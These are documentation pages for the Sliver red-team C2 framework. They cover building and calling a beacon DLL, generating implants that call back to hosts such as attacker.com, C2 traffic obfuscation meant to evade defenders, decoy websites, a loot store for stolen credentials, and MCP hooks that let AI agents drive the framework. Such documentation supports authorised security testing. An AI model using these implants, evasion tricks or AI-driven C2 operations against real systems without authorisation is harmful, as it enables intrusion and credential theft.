```shell
x86_64-w64-mingw32-g++ -std=c++11 -Wall -I. -shared -o beacon.dll wrapper.cpp ARCHITECTURAL_YOKE.a
```

## Validate Symbol Resolution

Sample minimal loader to confirm the DLL loads and the `StartW` export resolves:

```c
#include <windows.h>
#include <stdio.h>

int main() {
    HMODULE h = LoadLibraryA("beacon.dll");
    if (!h) {
        printf("LoadLibrary failed: %lu\n", GetLastError());
        return 1;
    }

    FARPROC p = GetProcAddress(h, "StartW");
    printf("LoadLibrary OK, StartW=%p\n", p);

    FreeLibrary(h);
    return 0;
}
```

Build the loader:

```shell
x86_64-w64-mingw32-gcc -Wall -o loader.exe loader.c
```

Run the loader in an authorized local test environment with `beacon.dll` in the same directory.

## Validate Invocation

To validate that the resolved entrypoint can be invoked, use a small test application:

```c
#include <windows.h>
#include <stdio.h>

typedef void (*StartWFn)(void);

int main() {
    HMODULE h = LoadLibraryA("beacon.dll");
    if (!h) {
        printf("LoadLibrary failed: %lu\n", GetLastError());
        return 1;
    }

    StartWFn StartW = (StartWFn)GetProcAddress(h, "StartW");
    if (!StartW) {
        printf("GetProcAddress failed: %lu\n", GetLastError());
        return 1;
    }

    printf("Calling StartW...\n");
    StartW();

    printf("StartW returned\n");
    FreeLibrary(h);
    return 0;
}
```

Build the invocation test:

```shell
x86_64-w64-mingw32-gcc -Wall -o call_startw.exe call_startw.c
```

This validates the archive-to-DLL link path, DLL loading, export lookup, and `StartW` invocation all work as expected.

---

### Sliver Docs Pages Docs Md HTTPS C2 (`docs/sliver-docs/pages/docs/md/HTTPS C2.md`)

Sliver supports proxy-aware C2 over both HTTP and HTTPS, however since Sliver does not rely upon the SSL/TLS layer for security these protocols are considered somewhat synonymous. There are separate commands for the listeners but an implant generated with `--http` may attempt to connect over both HTTP and HTTPS (see "under the hood" for more details).

## Generate the Implant

Sliver implants are compiled with a baked-in (but obfuscated) server domain that they will reach back out to. To generate a Sliver implant that communicates to a server at `example.com` run the following:

#### Basic Example

```
sliver > generate --http example.com --os mac

[*] Generating new darwin/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/WORKING_HACIENDA
```

#### Multiple Domains

You can also specify multiple domains, in the event the implant cannot connect to the first it will subsequently attempt to connect to each domain you specified in order. Subsequent attempts are made based on the `--reconnect` argument (default 60 seconds). If no attempts are successful, the implant will loop across all of the domains until `--max-errors` (default 1000) is reached, at which point the implant will terminate execution:

```
sliver > generate --http example.com,attacker.com

[*] Generating new windows/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE
```

#### URL Prefixes and Other Options

Some additional options may be passed to the `--http` C2 flag such as URL path prefixes. Sliver's C2 request URLs are randomly generated as described below, however the operator may specify a path to prepend to every request's path, this can be useful when leveraging HTTP redirectors, etc. To add a URL prefix simply add a path to the domain as shown below:

```
sliver > generate --http example.com/foo/bar

[*] Generating new windows/amd64 implant binary
[*] Build completed in 00:00:05
[*] Implant saved to /Users/moloch/Desktop/IMPRESSED_METHANE
```

This implant will now prepend `/foo/bar` to all generated URLs for `example.com`. You may specify different path prefixes for different domains if you so choose.

#### Proxies

The implant attempts to auto-detect proxy settings using a modified version of the [go-get-proxied](https://github.com/rapid7/go-get-proxied) library. It supports detection of system proxy settings on Windows, MacOS, and Linux. In the event the implant cannot make a successful HTTP/HTTPS connection for a given domain using the system proxy settings, it will also attempt to make a connection to the same domain ignoring the proxy settings. The order of connection attempts is as follows:

1. HTTPS over system proxy
1. HTTP over system proxy
1. HTTPS direct connect
1. HTTP direct connect

#### Proxy Configuration

The priority of retrieval is the following:

- **Windows**
  - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
  - Internet Options: Automatically detect settings (`WPAD`)
  - Internet Options: Use automatic configuration script (`PAC`)
  - Internet Options: Manual proxy server
  - WINHTTP: (`netsh winhttp`)
- **Linux**
  - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
- **MacOS**
  - Environment Variable: `HTTPS_PROXY`, `HTTP_PROXY`, `FTP_PROXY`, or `ALL_PROXY`. `NO_PROXY` is respected.
  - Network Settings: `scutil`

#### NTLM/Kerberos Proxy Authentication

You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to convert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.

## Start the Listener

To start an HTTP listener use the `http` command, with no parameters this will start a listener on port 80 and respond to any domain (i.e., HTTP `Host:`) that comes in:

```
sliver > http
```

You can optionally restrict the listener to only respond to a specific domain using the `--domain` flag, currently each listener can only accept a single domain (but you can start any number of listeners you want):

```
sliver > http --domain example.com
```

## Static Content

Sliver can stand up a website on your HTTP(S) listener in order to make the server look more legitimate. For example, you could put a default IIS index page here and mimic a normal-looking server in case someone comes by snooping. You can manage static content using the `websites` command (see `websites --help`):

```
websites --website fake-blog --web-path / --content ./index.html add
```

Each "website" is identified by a name (`fake-blog` in the example above) and is essentially just key/value pairs of request paths (e.g. `/foo/bar.html`) and response content. Currently we don't support any regex matching for paths, it has to be an exact match, so keep that in mind if you're linking to content.

**Note:** C2-related messages are identified, intercepted, and responded to prior to checking for user-provided `website` content, so you can actually map content to any URL used for C2.

To use your website with an HTTP(S) listener, specify it using `--website` when you start the listener:

```
sliver > http --website fake-blog --domain example.com
```

## SSL/TLS Certificates

By default when using the `https` listener Sliver will simply generate a random self-signed certificate. However, other options do exist. The `https` listener also supports automatic TLS certificates via Let's Encrypt, which can be enabled using the `--lets-encrypt` flag.

```
sliver > https --domain example.com --lets-encrypt
```

This uses Let's Encrypt/ACME HTTP validation, so the server will need the ability to start a public listener and you'll need to have the DNS for your `--domain` pointed to the Sliver server. If you're having issues pulling a certificate be sure to [check the logs](/docs?name=Troubleshooting).

You can also upload your own SSL/TLS certificate/key pairs:

```
sliver > https --domain example.com --cert ./cert.pem --key ./key.pem --website fake-blog
```

## Modifying C2 Traffic

You can make extensive customizations to the HTTP C2 traffic generated by the server and implant by modifying the HTTP C2 configuration file, which by default is located at `~/.sliver/configs/http-c2.json`. The configuration file options are described below:

⚠️ **WARNING:** Making changes to this file may break compatibility with existing implants, therefore you should make your changes to this configuration _prior to generating any implants_.

### `implant_config`

| Field Name               | Description                                                                                                                                                                                                                                                                                           |
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `user_agent`             | The implant's user agent, a blank string will randomly generate a platform appropriate user-agent and version (default: blank)                                                                                                                                                                        |
| `chrome_base_version`    | The Chrome version to put into the user agent head, plus a random value up to 3 (default: `100`)                                                                                                                                                                                                      |
| `url_parameters`         | A list of objects that contain a `name`, `value`, and a `probability` that should be included as URL query parameters in addition to the ones used by encoders (default: `null`). Probability may be 1-100, any other value will be treated as 100. URL parameter names must be 3 or more characters. |
| `headers`                | A list of objects that contain a `name`, `value` and a `probability ` to add as request headers (default: `null`)                                                                                                                                                                                     |
| `max_files`              | Max number of random file names to use (default: `8`)                                                                                                                                                                                                                                                 |
| `min_files`              | Min number of random file names to use (default: `2`)                                                                                                                                                                                                                                                 |
| `max_paths`              | Max number of path segments to generate per-URL in addition to any prefixes (default: `8`)                                                                                                                                                                                                            |
| `min_paths`              | Min number of path segments to generate per-URL in addition to any prefixes (default: `2`)                                                                                                                                                                                                            |
| `stager_file_ext`        | The file extension to associate with stagers (default: `.woff`)                                                                                                                                                                                                                                       |
| `stager_files`           | A list of strings that should be used as "file name" segments in the URL, appended with `stager_file_ext`                                                                                                                                                                                             |
| `stager_paths`           | A list of strings that should be used as path segments in the generated URL                                                                                                                                                                                                                           |
| `poll_file_ext`          | The file extension to associate with poll requests (default: `.js`)                                                                                                                                                                                                                                   |
| `poll_files`             | A list of strings that should be used as "file name" segments in the URL, appended with `poll_file_ext`                                                                                                                                                                                               |
| `poll_paths`             | A list of strings that should be used as path segments in the generated URL                                                                                                                                                                                                                           |
| `start_session_file_ext` | The file extension to associate with key exchange messages (default: `.html`)                                                                                                                                                                                                                         |
| `session_file_ext`       | The file extension to associate with session messages (default: `.php`)                                                                                                                                                                                                                               |
| `session_files`          | A list of strings that should be used as "file name" segments in the URL, appended with `session_file_ext` and `start_session_file_ext`                                                                                                                                                               |
| `session_paths`          | A list of strings that should be used as path segments in the generated URLs                                                                                                                                                                                                                          |
| `close_file_ext`         | The file extension to associate with close session messages (default: `.png`)                                                                                                                                                                                                                         |
| `close_files`            | A list of strings that should be used as "file name" segments in the URL, appended with `close_file_ext`                                                                                                                                                                                              |
| `close_paths`            | A list of strings that should be used as path segments in generated URLs                                                                                                                                                                                                                              |

### `server_config`

| Field Name               | Description                                                                                                                                                                        |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `random_version_headers` | Boolean value, if enabled the server will return random Apache/Nginx and PHP version numbers (default: `false`)                                                                    |
| `headers`                | A list of objects containing a `name`, `value`, and a `probability` that should be included as response headers. Probability may be 1-100, any other value will be treated as 100. |
| `cookies`                | A list of strings to use as cookie names                                                                                                                                           |

# Under the Hood

This section covers the "under the hood" implementation details of Sliver's HTTP C2, and may be useful for users who want to understand, extend, or are simply curious about Sliver's design.

### Design Goals

The primary goals of the existing HTTP C2 design are to:

- **Reliable Connections** The implant's foremost goal is to get a connection out of the network, regardless of the environment's configuration.
- **Data Security** I won't cover this here, but [click here](/docs?name=Transport+Encryption) for details.
- **Network Layer Evasion** C2 messages should be hard to detect from the network layer, this is done via "Procedural C2" as detailed below.

### Procedural HTTP C2

Sliver [procedurally generates](https://en.wikipedia.org/wiki/Procedural_generation) each HTTP request with the C2 data in it based on the configuration file described above. Each request will have randomized URLs and query arguments, and different types of messages also use different file extensions/paths.

Each implant is also only embedded with a randomly generated subset of the server's C2 profile, so two or more implants generated from the same server may not generate similar URLs depending on how you tweak the configuration.

#### Implant-side

The high level process to generate and send a standard session request is (note: this is all after the key exchange, which I'm skipping for now):

1. Randomly generate the request path using built-in path segments. The path will have one of the following extensions, which indicate the type of request. This is distinct from a _message type_, the message type (i.e., the type of command) is in the encrypted payload so it cannot be determined without the [session key](/docs?name=Transport+Encryption). Everything in the path except for the extension is ignored by the server.

In the default configuration:

- `.woff` = Stagers
- `.js` = Long poll messages
- `.html` = Key exchange messages
- `.php` = Session messages
- `.png` = Close session messages

2. Randomly select an encoder from `sliver/encoders`, an encoder defines how the message we're trying to send to the server gets encoded. Note that we're always encoding the ciphertext of a message, these encoders are purely for obfuscation _not security_. The currently supported encoders are:

- **Base64** Base64 with a custom alphabet so that it's not interoperable with standard Base64
- **Hex** Standard hexadecimal encoding with ASCII characters
- **Gzip** Standard gzip
- **English** Encodes arbitrary data as English ASCII text
- **PNG** Encodes arbitrary data into valid PNG image files
- **Gzip+English** A combination of the Gzip and English encoders
- **Base64+Gzip** A combination of the Base64 and Gzip encoders

Each of these encoders has a unique "Encoder ID," which is currently hardcoded but we'll probably randomly generate these per-server in the future.

3. Generate a `nonce`, the nonce is equal to a random number times the `EncoderModulus` plus the encoder ID; the `EncoderModulus` is currently a hardcoded constant value, but we may generate this per-server in the future. The server does the opposite (nonce modulo `EncoderModulus`) to determine the original Encoder ID. In code this looks like:

```
nonce := (util.Intn(maxN) * EncoderModulus) + encoderID
encoderId := nonce % EncoderModulus
```

The nonce is included in the request as the query parameter `_`, the idea is that this a standard pattern for "cache busting" and at a glance looks legitimate as the nonces look (are) random. The server also ignores any request that does not contain a valid nonce, just in case any pesky blue teamers come sniffing around the web server. An invalid nonce is define as any value that does not map to an Encoder ID or zero. A "NOP" nonce is also supported, which is an encoder ID of zero (i.e. the modulo of the nonce equals zero).

4. Send the request to the server, this could be any valid transport such as HTTP, HTTPS, or over a proxy -the same request format is always used for any HTTP-like protocol.

#### Server-side

5. When the server receives the request it will route the request to a given handler based on the requested path's extension as detailed above (in this case we're talking about paths that end in `.php`).

6. Check that the request contains a valid nonce, if the request does not contain a valid nonce it is ignored from a C2 standpoint but the server may still respond with `website` content.

7. Determine the encoder based on the nonce, decode and decrypt the request.

8. Execute any server-side processing.

9. Should the request merit a response, encode the encrypted response using the same encoder as the request. By using the same encoder as the request we ensure the implant supports a given encoder (in case of a version mismatch between implant and server) and allows the implant to limit the encoders used if it so chooses.

10. Send the response back to the implant.

---

### Sliver Docs Pages Docs Md Linux Install Script (`docs/sliver-docs/pages/docs/md/Linux Install Script.md`)

This script installs the latest version of Sliver as a systemd service and sets up multiplayer for local users. After running the script, connect locally by running `sliver`.

https://sliver.sh/install

This script should work on Kali, Ubuntu, and RHEL (CentOS, etc) distributions of Linux.

**⚠️ OPSEC:** By default the Linux install script binds the direct multiplayer gRPC/mTLS listener to TCP `:31337` on all interfaces. WireGuard is not enabled by the installer. Ensure your firewalls are properly configured, or reconfigure the server to bind to localhost if you only wish to allow local users. Publicly exposing the multiplayer listener makes the server easier to discover and fingerprint.

### One Liner

```
curl https://sliver.sh/install|sudo bash
```

- Installs server binary to `/root/sliver-server`
- Runs the server in daemon mode using systemd
- Installs client to `/usr/local/bin/sliver`
- Generates multiplayer configurations for all users with a `/home` directory

### Systemd Service

The following systemd configuration is used:

```ini
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon

[Install]
WantedBy=multi-user.target
```

---

### Sliver Docs Pages Docs Md Loot (`docs/sliver-docs/pages/docs/md/Loot.md`)

The `loot` command is a server-side store of looted files and credentials. Since this is implemented server-side, all files and credentials in the loot store are shared amongst all operators in multiplayer mode. See `loot --help` for a complete list of sub-commands.

### Adding Loot

You can add loot to the loot store several different ways:

- The `loot remote` command can be used to pull a file directly from a remote system to the loot store (requires an active session).
- The `loot local` command can be used to add files from the operator's local machine to the loot store.
- Several commands (e.g. `sideload`, and `execute-assembly`) have the `--loot` flag, which can be used to save the output of the command to the loot store.

### Fetching Loot

To fetch (i.e., look at) a piece of loot use the `loot fetch` command, it will present an interactive menu for you to select from. Textual loot will be displayed directly, file loot can be saved to a local file.

### Remove Loot

The `loot rm` command is used to remove loot from the server.

---

### Sliver Docs Pages Docs Md MCP (`docs/sliver-docs/pages/docs/md/MCP.md`)

__IMPORTANT:__ MCP (Model Context Protocol) support is _experimental_ and NOT ALL FUNCTIONALITY IS SUPPORTED YET. Pull requests and testing feedback are welcome!

There are two main ways to connect an AI model to sliver using MCP: locally over stdio, or over a network using HTTP/SSE transports. The `sliver-client` supports both stdio and http/sse, but the `sliver-server` binary only supports HTTP/SSE. We recommend using the `sliver-client` and [Multiplayer Mode](/docs?name=Multi-player+Mode) to connect to a remote server with the stdio transport.


## MCP Over STDIO

Example configurations for various AIs, you'll need to configure [Multiplayer Mode](/docs?name=Multi-player+Mode) first:

### OpenAI Codex

```
[mcp_servers.sliver]
args = ["mcp", "--config", "/path/to/multiplayer.cfg"]
command = "/path/to/sliver-client"
```

### Anthropic Claude Code

```
claude mcp add sliver -- /path/to/sliver-client mcp --config /path/to/multiplayer.cfg
```

## MCP Over HTTP/SSE

The MCP HTTP/SSE server can be started from either the `sliver-client` or `sliver-server`, however _where you run the command is where the server will start_ i.e., starting the HTTP/SSE MCP using `sliver-client` will turn that `sliver-client` binary into the MCP server (connected to whatever Sliver server you're currently connected to). Running the command from the `sliver-server` console will start a HTTP/SSE MCP server locally bound on the server.

```
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain skulk
[*] Server v1.6.4 - 4d0d46afd6e1cbcaafde92687144cb28694a68ce
[*] Welcome to the sliver shell, please type 'help' for options
sliver > mcp

Status: stopped
Transport: sse
Listen: 127.0.0.1:8080
Endpoint: http://127.0.0.1:8080/sse

sliver > mcp start --transport http

[*] Starting MCP server (http) on 127.0.0.1:8080
[*] Endpoint: http://127.0.0.1:8080/mcp
[*] Auth Header: Authorization
[*] Auth Token: 6f90c3b3c6058fa59f570e281f3f8d39
```

You can use `mcp stop` to stop the server, see `mcp start --help` for additional options when starting the MCP server.

On first HTTP/SSE use, Sliver generates a random 128-bit token and saves it to `~/.sliver-client/mcp.yaml`. Every MCP HTTP/SSE request must include that token exactly in the `Authorization` header. If `mcp.yaml` already exists, the listener will only start when the token is at least 8 characters long.

---

### Sliver Docs Pages Docs Md Minisign Public Key (`docs/sliver-docs/pages/docs/md/Minisign Public Key.md`)

This [Minisign](https://jedisct1.github.io/minisign/) key is used to sign binary artifacts from the Sliver Authors specifically. As anyone is welcome to modify and redistribute the project under the terms of the GPLv3 license an artifact that is not signed by this specific key is not necessarily illegitimate or malicious, it simply means it's not from the original project authors.


## Public Key

```
RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
```

[https://sliver.sh/minisign.pub](/minisign.pub)

## Verification

Minisign is available in most Linux package managers, there is also a [Go implementation](https://github.com/aead/minisign).

```
minisign -Vm sliver-server -P RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
```

---

### Sliver Docs Pages Docs Md Multi Player Mode (`docs/sliver-docs/pages/docs/md/Multi-player Mode.md`)

Multiplayer mode allows multiple operators to connect to the same Sliver server and collaborate on engagements. The easiest way to set up a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script), which configures the server as a systemd service. However, any `sliver-server` binary supports multiplayer mode.

Sliver exposes the operator-facing multiplayer listener directly over gRPC/mTLS by default. You can opt into a dedicated WireGuard wrapper with `--enable-wg`; the gRPC/mTLS authentication stack still runs inside that tunnel.

```
                    ┌──────────────────┐  C2
                    │                  │  Protocol    ┌─────────┐
                    │ Sliver C2 Server ├─────────────►│ Implant │
                    │                  │              └─────────┘
                    └──────────────────┘
                            ▲
                            │
   TCP/gRPC/mTLS (default)  │
      ┌────────────┬────────┴─────┬───────────┐
      │            │              │           │
┌─────┴──┐         │              │        ┌──┴─────┐
│Windows │    ┌────┴───┐     ┌────┴───┐    │Windows │
│Operator│    │Linux   │     │MacOS   │    │Operator│
└────────┘    │Operator│     │Operator│    └────────┘
              └────────┘     └────────┘
```

## Default Direct mTLS Mode

Operators will need to download their preferred platform's client software from the releases page. Clients can connect to servers of differing platforms (e.g. a Windows client can connect to a Linux server). Operators and servers authenticate using Mutual TLS, however all the certificates are managed automatically for you.

- If you did not install the server as a systemd service, be sure to leave the server console running in screen or [tmux](https://github.com/tmux/tmux) after starting the multiplayer listener.
- If you did install the server as a systemd service, see the CLI section below for an alternative to the console commands for generating operator configs.

Operators need a configuration file generated by the Sliver server to connect in multiplayer mode. The Sliver client can support multiple configuration files, but you can only be connected to one server at a time (per process).

In the default mode:

- `multiplayer` exposes the authenticated gRPC/mTLS listener directly over TCP on `--lport` (default `31337`).
- `new-operator` generates a direct multiplayer profile without a `wg` block.
- `sliver-client` connects directly over gRPC/mTLS because the selected profile does not opt into WireGuard.

From the server, start the multiplayer listener and generate an operator config with the server's public address or hostname in `--lhost`. Use `--permissions all` for a standard interactive operator profile:

**Note:** The `new-operator` and `multiplayer` commands are only available from the server console.

```
[server] sliver > multiplayer

[*] Multiplayer mode enabled!

[server] sliver > new-operator --name moloch --lhost 1.2.3.4 --permissions all

[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfg
```

**IMPORTANT:** Before clients can connect to a server you must start a multiplayer listener with the `multiplayer` command. By default multiplayer is exposed directly on TCP/31337. If you enable the wrapper, the outer listener becomes UDP/31337 and the gRPC/mTLS service stays inside the tunnel.

You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The Sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` CLI. The configs directory can contain multiple configs for different servers.

```
$ ./sliver-client import ./moloch_example.com.cfg

$ ./sliver-client
? Select a server:  [Use arrows to move, type to filter]
> example.com
  localhost
```

## Optional WireGuard Wrapper

Multiplayer WireGuard is opt-in. Enable it explicitly on the listener and include matching WireGuard settings in the operator profile:

```
[server] sliver > multiplayer --enable-wg

[*] Multiplayer mode enabled!

[server] sliver > new-operator --name tester --lhost 1.2.3.4 --permissions all --enable-wg

[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/tester/Desktop/tester_example.com.cfg
```

Import the profile and start the client normally:

```
$ ./sliver-client import ./tester_example.com.cfg

$ ./sliver-client
```

In WireGuard mode:

- `multiplayer --enable-wg` exposes a WireGuard listener on `--lport` (default `31337`) over UDP.
- The authenticated gRPC/mTLS server only listens inside that WireGuard tunnel.
- `new-operator --enable-wg` generates a per-operator WireGuard keypair and tunnel IP, then embeds that information with `wg.enabled: true` in the operator profile.
- `sliver-client` sees `wg.enabled: true` and automatically uses the profile's WireGuard settings before dialing the in-tunnel gRPC/mTLS service.
- The multiplayer listener uses WireGuard keys that are separate from Sliver's implant `wg` C2 listener.

The listener mode and operator profile need to match. A WireGuard-wrapped listener needs a profile generated with `--enable-wg`; direct multiplayer uses a normal profile. No client flag is required in either case.

The client provides explicit overrides for troubleshooting and migration:

- `sliver-client --enable-wg` forces WireGuard and requires usable WireGuard settings in the profile.
- `sliver-client --disable-wg` forces direct gRPC/mTLS even when `wg.enabled` is true.
- Without either flag, the client follows `wg.enabled`. The flags cannot be used together.

Profiles from the withdrawn WireGuard-by-default release may contain a `wg` block without the new `enabled` marker. The client treats those profiles as direct rather than considering block presence an opt-in. To keep using WireGuard, explicitly recreate the listener and profile with `--enable-wg`. The client override can temporarily force a legacy profile only when its listener is also running in WireGuard mode.

When upgrading from the withdrawn WireGuard-by-default release, legacy persisted multiplayer jobs restart in direct mode because they do not contain an explicit WireGuard opt-in. Recreate the listener with `multiplayer --enable-wg` if you intentionally want the wrapper.

Upgrade affected clients along with the server. The withdrawn client automatically selected WireGuard whenever a `wg` block was present, so it can mismatch a listener that the new server safely migrated to direct mode. Until that client is upgraded, use its `--disable-wg` override for a migrated direct listener, or explicitly re-enable WireGuard on both the listener and profile.

### Server CLI / Daemon Mode Multiplayer

If the server is running in daemon mode, the multiplayer listener is started for you without an interactive console. By default the daemon uses direct multiplayer mTLS. You can opt into the WireGuard wrapper with `sliver-server daemon --enable-wg` or `daemon.enable_wg: true` in `server.yaml`.

Use the server CLI to generate operator configuration files:

```
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
```

Operator profiles omit the multiplayer `wg` block by default. Add `--enable-wg` when the listener is wrapped in WireGuard; the resulting `wg.enabled: true` marker makes the client select the wrapper automatically.

The installation script places the `sliver-server` binary in `/root` by default.

### Tailscale Integration

Sliver supports multiplayer integration with [Tailscale](https://tailscale.com/), which is an excellent option when you want to keep the multiplayer listener off the public Internet.

Tailscale mode is separate from the optional multiplayer WireGuard wrapper. When you use `multiplayer -T`, Sliver exposes the listener only through Tailscale instead of layering its own multiplayer WireGuard tunnel on top.

```
$ export TS_AUTHKEY=<tailscale authkey>
$ ./sliver-server

sliver > multiplayer -T
```

You should now see a new Tailscale host named `sliver-server-<machine>`. Use that hostname as `--lhost` when generating operator configs for other hosts on the same tailnet. Tailscale multiplayer does not use the multiplayer WireGuard wrapper, so operator profiles should be generated without `--enable-wg`.

---

### Sliver Docs Pages Docs Md Notifications (`docs/sliver-docs/pages/docs/md/Notifications.md`)

### Notifications

#### Table of Contents

- [Overview](/docs?name=Notifications#overview)
- [Configuration Overview](/docs?name=Notifications#configuration-overview)
- [Global Examples](/docs?name=Notifications#global-examples)
- [Service Examples](/docs?name=Notifications#service-examples)
  - [Amazon SES](/docs?name=Notifications#amazon-ses)
  - [Amazon SNS](/docs?name=Notifications#amazon-sns)
  - [Bark](/docs?name=Notifications#bark)
  - [DingTalk (DingDing)](/docs?name=Notifications#dingtalk-dingding)
  - [Discord](/docs?name=Notifications#discord)
  - [FCM](/docs?name=Notifications#fcm)
  - [Google Chat](/docs?name=Notifications#google-chat)
  - [HTTP Webhooks](/docs?name=Notifications#http-webhooks)
  - [Lark](/docs?name=Notifications#lark)
  - [Line](/docs?name=Notifications#line)
  - [Line Notify](/docs?name=Notifications#line-notify)
  - [Mail (SMTP)](/docs?name=Notifications#mail-smtp)
  - [Mailgun](/docs?name=Notifications#mailgun)
  - [Matrix](/docs?name=Notifications#matrix)
  - [Mattermost](/docs?name=Notifications#mattermost)
  - [Microsoft Teams](/docs?name=Notifications#microsoft-teams)
  - [PagerDuty](/docs?name=Notifications#pagerduty)
  - [Plivo](/docs?name=Notifications#plivo)
  - [Pushbullet](/docs?name=Notifications#pushbullet)
  - [Pushbullet SMS](/docs?name=Notifications#pushbullet-sms)
  - [Pushover](/docs?name=Notifications#pushover)
  - [Reddit](/docs?name=Notifications#reddit)
  - [Rocket.Chat](/docs?name=Notifications#rocketchat)
  - [SendGrid](/docs?name=Notifications#sendgrid)
  - [Slack](/docs?name=Notifications#slack)
  - [Syslog](/docs?name=Notifications#syslog)
  - [Telegram](/docs?name=Notifications#telegram)
  - [TextMagic](/docs?name=Notifications#textmagic)
  - [Twilio](/docs?name=Notifications#twilio)
  - [Twitter](/docs?name=Notifications#twitter)
  - [Viber](/docs?name=Notifications#viber)
  - [Web Push](/docs?name=Notifications#web-push)
  - [WeChat](/docs?name=Notifications#wechat)
  - [WhatsApp](/docs?name=Notifications#whatsapp)
- [Custom Templates](/docs?name=Notifications#custom-templates)
- [Notes](/docs?name=Notifications#notes)

#### Overview

Sliver can send server event notifications via the `github.com/nikoksr/notify` services. Notifications are configured in `server.yaml` under the `notifications` block (located at `~/.sliver/configs/server.yaml` by default).

Notifications are disabled by default. Enable them globally, then enable one or more services. You can optionally filter which events are sent globally or per-service.

#### Configuration Overview

- `notifications.enabled` - Master switch for notifications.
- `notifications.events` - Optional list of event types to send. Empty means all events.
- `notifications.services.<service>.enabled` - Enable a specific service.
- `notifications.services.<service>.events` - Optional per-service event filter. If empty, the global list is used.
- Any string field can reference an environment variable by using `$ENV_VAR` or `${ENV_VAR}`.

#### Global Examples

##### Example: Slack + Telegram with Event Filters

```yaml
notifications:
  enabled: true
  events:
    - session-connected
    - session-disconnected
  services:
    slack:
      enabled: true
      api_token: "$SLIVER_SLACK_TOKEN"
      channels:
        - "C0123456789"
    telegram:
      enabled: true
      api_token: "$SLIVER_TELEGRAM_TOKEN"
      chat_ids:
        - "123456789"
      events:
        - session-connected
```

##### Example: HTTP Webhooks + Syslog

```yaml
notifications:
  enabled: true
  services:
    http:
      enabled: true
      urls:
        - "https://hooks.example.com/sliver"
      webhooks:
        - url: "https://hooks.example.com/sliver-auth"
          method: "POST"
          content_type: "application/json"
          headers:
            Authorization: "$SLIVER_WEBHOOK_TOKEN"
    syslog:
      enabled: true
      priority: "info"
      network: "udp"
      address: "127.0.0.1:514"
      tag: "sliver"
```

#### Service Examples

Each example below shows the service-specific block under `notifications.services`. All examples assume `notifications.enabled: true`.

##### Amazon SES

```yaml
services:
  amazon_ses:
    enabled: true
    access_key_id: "$AWS_ACCESS_KEY_ID"
    secret_key: "$AWS_SECRET_ACCESS_KEY"
    region: "us-east-1"
    sender_address: "alerts@example.com"
    receivers:
      - "ops@example.com"
```

##### Amazon SNS

```yaml
services:
  amazon_sns:
    enabled: true
    access_key_id: "$AWS_ACCESS_KEY_ID"
    secret_key: "$AWS_SECRET_ACCESS_KEY"
    region: "us-east-1"
    receivers:
      - "arn:aws:sns:us-east-1:123456789012:my-topic"
```

##### Bark

```yaml
services:
  bark:
    enabled: true
    device_key: "$BARK_DEVICE_KEY"
    servers:
      - "https://api.day.app/"
```

##### DingTalk (DingDing)

```yaml
services:
  dingding:
    enabled: true
    token: "$DINGDING_TOKEN"
    secret: "$DINGDING_SECRET"
```

##### Discord

```yaml
services:
  discord:
    enabled: true
    token: "$DISCORD_BOT_TOKEN"
    token_type: "bot"  # bot (default) or oauth
    channels:
      - "123456789012345678"
```

##### FCM

```yaml
services:
  fcm:
    enabled: true
    credentials_file: "/path/to/firebase.json"
    project_id: "my-firebase-project"
    device_tokens:
      - "$FCM_DEVICE_TOKEN"
```

##### Google Chat

```yaml
services:
  google_chat:
    enabled: true
    credentials_file: "/path/to/google-chat.json"
    spaces:
      - "AAAA1234567"
```

##### HTTP Webhooks

```yaml
services:
  http:
    enabled: true
    urls:
      - "https://hooks.example.com/sliver"
    webhooks:
      - url: "https://hooks.example.com/sliver-auth"
        method: "POST"
        content_type: "application/json"
        headers:
          Authorization: "$SLIVER_WEBHOOK_TOKEN"
```

##### Lark

```yaml
services:
  lark:
    enabled: true
    webhook:
      url: "$LARK_WEBHOOK_URL"
    custom_app:
      app_id: "$LARK_APP_ID"
      app_secret: "$LARK_APP_SECRET"
      receivers:
        - type: "open_id"
          id: "ou_1234567890abcdef"
```

##### Line

```yaml
services:
  line:
    enabled: true
    channel_secret: "$LINE_CHANNEL_SECRET"
    channel_access_token: "$LINE_CHANNEL_ACCESS_TOKEN"
    receivers:
      - "U1234567890abcdef"
```

##### Line Notify

LINE Notify [ended service on March 31, 2025](https://developers.line.biz/en/news/2025/04/01/line-notify/); its APIs and the `line_notify` integration are no longer usable.

##### Mail (SMTP)

```yaml
services:
  mail:
    enabled: true
    sender_address: "alerts@example.com"
    smtp_host: "smtp.example.com:587"
    smtp_identity: ""
    smtp_username: "$SMTP_USER"
